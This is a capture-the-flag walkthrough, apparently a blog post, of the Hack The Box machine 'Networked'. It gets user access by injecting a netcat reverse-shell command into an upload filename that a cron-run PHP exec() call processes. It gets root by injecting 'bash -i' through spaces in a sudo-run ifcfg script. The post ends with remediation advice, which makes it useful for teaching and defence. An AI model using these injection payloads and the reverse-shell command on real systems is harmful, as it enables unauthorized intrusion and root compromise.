Taking a closer look at the code reveals something interesting; the method used to remove the file is a php shell function, calling straight to the OS (rather than using a build in php function to remove files, like this php unlink function. So, since command execution is being handled straight by the shell, I wonder if we can have another comand run after the rm command is ran.

We see the following from the code:


 exec("rm -f $logpath");

    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

    echo "rm -f $path$value\n";

    mail($to, $msg, $msg, $headers, "-F$value");

I wonder if we can have a semicolong (;) or two ampersands (&&) in the filename, to try and get a second command fron bash run. We see that we can’t change the value of /tmp/attack.log, so if secondary command execution from the filename actually works, I don’t think it will help us much. We did find out though, that we can name a file in the uploads directory whatever we want, so let’s try that again, with a semicolon and second command. Come to think of it, nothing says our extension needs to be an image file either, as we can write directly to the directory now, we’re not uploading from the webapp.

 

a few brief missteps

Let’s try the following:


cp 127_0_0_1.png test;/bin/bash

Hopefully that will drop us in a shell as the guly user, as the cronjob is in his home folder, but we’ll see.


bash-4.2$ pwd

pwd

/var/www/html/uploads

bash-4.2$ cp 127_0_0_1.png test;/bin/bash

cp 127_0_0_1.png test;/bin/bash

bash-4.2$ ls -ltr

ls -ltr



-r--r--r--. 1 root   root      2 Oct 30  2018 index.html

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_4.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_3.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_2.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_1.png

-rw-r--r--  1 apache apache 6370 Feb  4 00:08 10_10_14_50..php.gif

-rw-r--r--  1 apache apache 3915 Feb  4 06:01 test

We see that this just leaves us with the filename “test” - we likely need to use an escape character. Let’s try again with this.


bash-4.2$ cp 127_0_0_1.png test\;/bin/bash     

cp 127_0_0_1.png test\;/bin/bash

cp: cannot create regular file 'test;/bin/bash': No such file or directory

bash-4.2$ cp 127_0_0_1.png test\;\/bin\/bash

cp 127_0_0_1.png test\;\/bin\/bash

cp: cannot create regular file 'test;/bin/bash': No such file or directory



It appears that we can’t use slashes in filenames in Linux. A quick search result confirms this. Well, so much for using /bin/bash in the filename. Let’s see what else we can use.


which nc

/usr/bin/nc

Looks like we have nc, so that might come in handy. According to the man page, nc should have the following option:


       -c string    specify shell commands to exec after connect (use with caution).  The string is passed to /bin/sh -c for ex‐

                    ecution.  See the -e option if you don't have a working /bin/sh (Note that POSIX-conformant system must have

                    one).

 

gaining user access

Let’s see if we can leverage that to start a reverse shell. Making sure a listener is started with nc -lvnp 4444, we can try the following:


bash-4.2$ touch givemeashell;'nc -c bash 10.10.14.50 4444'

touch givemeashell;'nc -c bash 10.10.14.50 4444'

bash: nc -c bash 10.10.14.50 4444: command not found



bash-4.2$ touch givemeashell;'nc -c bash 10.10.14.50 4444;.php'

touch givemeashell;'nc -c bash 10.10.14.50 4444;.php'

bash: nc -c bash 10.10.14.50 4444;.php: command not found

Well, that didn’t work either. Let’s take a bit of a closer look at syntax, looks like it’s still seeing the latter part after the ; as a command execution.


bash-4.2$ touch givemeashell';nc -c bash 10.10.14.50 4444;.php'

touch givemeashell';nc -c bash 10.10.14.50 4444;.php'

bash-4.2$ ls -ltr

ls -ltr

total 28

-r--r--r--. 1 root   root      2 Oct 30  2018 index.html

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_4.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_3.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_2.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_1.png

-rw-r--r--  1 apache apache 6370 Feb  4 00:08 10_10_14_50..php.gif

-rw-rw-rw-  1 apache apache    0 Feb  4 06:24 givemeashell

-rw-rw-rw-  1 apache apache    0 Feb  4 06:25 givemeashell;nc -c bash 10.10.14.50 4444;.php

OK, whew, finally we have a file that got create. Now let’s wait 3 minutes to see if a reverse shell is spawned.

After a few minutes, looks like we indeed get a connection from our listener, as the guly user!


root@kali:~# nc -lvnp 4444

listening on [any] 4444 ...

connect to [10.10.14.50] from (UNKNOWN) [10.10.10.146] 39734

whoami

guly

Let’s go ahead and upgrade our shell, get the flag, and then we can figure out how to privesc to root.


connect to [10.10.14.50] from (UNKNOWN) [10.10.10.146] 39734

whoami

guly



python -c 'import pty; pty.spawn("/bin/bash")'

[guly@networked ~]$ pwd

pwd

/home/guly

[guly@networked ~]$ cat user.txt

cat user.txt

{have fun getting your flag :)}

[guly@networked ~]$

 

Privilege Escalation to root

A quick sudo -l on the guly user let’s us know we can use the changename.sh script with NOPASSWD.


[guly@networked ~]$ sudo -l

sudo -l

Matching Defaults entries for guly on networked:

    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,

    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",

    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",

    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",                                                            

    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",                                                               

    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",                                                            

    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin                                                                                    

                                                                                                                                    

User guly may run the following commands on networked:                                                                              

    (root) NOPASSWD: /usr/local/sbin/changename.sh   

Interesting. Let’s see if we can write to the script:


[guly@networked ~]$ ls -ltr /usr/local/sbin/changename.sh                                                                           

ls -ltr /usr/local/sbin/changename.sh                                                                                               

-rwxr-xr-x 1 root root 422 Jul  8  2019 /usr/local/sbin/changename.sh                                   

Hmm. unfortunately not. Let’s see what the script is doing.


[guly@networked ~]$ cat /usr/local/sbin/changename.sh                                                                               

cat /usr/local/sbin/changename.sh                                                                                                   

#!/bin/bash -p                                                                                                                      

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF                                                                              

DEVICE=guly0                                                                                                                        

ONBOOT=no                                                                                                                           

NM_CONTROLLED=no                                                                                                                    

EoF                                                                                                                                 

                                                                                                                                    

regexp="^[a-zA-Z0-9_\ /-]+$"                                                                                                        

                                                                                                                                    

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do                                                                             

        echo "interface $var:"                                                                                                      

        read x                                                                                                                      

        while [[ ! $x =~ $regexp ]]; do                                                                                             

                echo "wrong input, try again"                                                                                       

                echo "interface $var:"                                                                                              

                read x                                                                                                              

        done

        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly

done

  

/sbin/ifup guly0

OK, so it looks like this script is writing output to a ifcfg file, prompting the user for input, and then setting the interface up.

Let’s give it a run to see how it behaves:


[guly@networked ~]$ sudo /usr/local/sbin/changename.sh

sudo /usr/local/sbin/changename.sh

interface NAME:

test

test

interface PROXY_METHOD:

test

test

interface BROWSER_ONLY:

test

test

interface BOOTPROTO:

test

test

ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

OK, so it looks like there’s some leeway with the variables being set by user input, that sticks out to me. Let’s see if we can abuse this.

A quick search for ‘linux variable remote code execution’ turns up an article link on RedHat’s site, but that appears to be shellshock, and it looks like semicolons are not allowed in our vairable input. Searching a little more, including ifcfg and network-scripts in the serach terms, yielded another very interesting article. It looks like when variables get assigned, if the system allows spaces, the command after the space will get executed, as the system doesn’t see the portion after the space as part of the variable, but another command to run.

Let’s test this out with whoami to see if it will work. If so, awesome; if not, we’ll have to find another path.


[guly@networked ~]$ sudo /usr/local/sbin/changename.sh

sudo /usr/local/sbin/changename.sh

interface NAME:

test whoami

test whoami

interface PROXY_METHOD:

test

test

interface BROWSER_ONLY:

test

test

interface BOOTPROTO:

test

test

root

root

ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Awesome, looks like that works. Let’s try now we bash -i to see if we can drop into a root shell.


[guly@networked ~]$ sudo /usr/local/sbin/changename.sh

sudo /usr/local/sbin/changename.sh

interface NAME:

test bash -i

test bash -i

interface PROXY_METHOD:

test 

test

interface BROWSER_ONLY:

test

test

interface BOOTPROTO:

test

test

[root@networked network-scripts]# id && date

id && date

uid=0(root) gid=0(root) groups=0(root)

Tue Feb  4 07:08:23 CET 2020

[root@networked network-scripts]# 

Awesome, from here we can grab the root flag and call it done.


[root@networked network-scripts]# cd /root && ls -ltr

cd /root && ls -ltr

total 4

-r--------. 1 root root 33 Oct 30  2018 root.txt

 

 

Conclusion

 

  • Uploads to the server should be disallowed from code execution; probably the best way to prevent this would be to put a Web Application Firewall (WAF) in front of the webserver.

  • Better input santisation should be performed by the check_attack.php script to avoid unwanted command execution. Further, safer alternatives to shell execution such as php’s unlink function should be considered being utilized.

  • The input validation and reulgar expression filters on the changename.sh script should be reviewed and modified as needed. If not necessary, spaces in variable names should be disallowed. Further, if the script can be modified so that the entirity of the script doesn’t run as root, but only the commands needed to be run in a privileged mode are executed with sudo, this should be considered and addressed as well.

 

 

All for now; until next time.

~@initinfosec

hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus